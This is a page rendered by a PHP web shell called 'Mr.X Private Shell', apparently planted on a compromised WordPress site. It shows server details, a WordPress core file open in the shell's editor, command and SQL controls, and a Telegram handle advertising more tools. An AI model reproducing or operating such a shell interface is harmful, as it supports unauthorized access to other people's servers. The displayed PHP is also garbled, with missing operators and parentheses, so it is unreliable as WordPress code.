Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-includes2      ( Reset | Go to )
File Name: class-wp-theme-json-data.php
Edit
<?php
/**
 * WP_Theme_JSON_Data class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 6.1.0
 */

/**
 * Class to provide access to update a theme.json structure.
 */
#[AllowDynamicProperties]
class WP_Theme_JSON_Data {

    
/**
     * Container of the data to update.
     *
     * @since 6.1.0
     * @var WP_Theme_JSON
     */
    
private $theme_json null;

    
/**
     * The origin of the data: default, theme, user, etc.
     *
     * @since 6.1.0
     * @var string
     */
    
private $origin '';

    
/**
     * Constructor.
     *
     * @since 6.1.0
     *
     * @link https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/
     *
     * @param array  $data   Array following the theme.json specification.
     * @param string $origin The origin of the data: default, theme, user.
     */
    
public function __construct$data = array(), $origin 'theme' ) {
        
$this->origin     $origin;
        
$this->theme_json = new WP_Theme_JSON$data$this->origin );
    }

    
/**
     * Updates the theme.json with the the given data.
     *
     * @since 6.1.0
     *
     * @param array $new_data Array following the theme.json specification.
     *
     * @return WP_Theme_JSON_Data The own instance with access to the modified data.
     */
    
public function update_with$new_data ) {
        
$this->theme_json->merge( new WP_Theme_JSON$new_data$this->origin ) );
        return 
$this;
    }

    
/**
     * Returns an array containing the underlying data
     * following the theme.json specification.
     *
     * @since 6.1.0
     *
     * @return array
     */
    
public function get_data() {
        return 
$this->theme_json->get_raw_data();
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL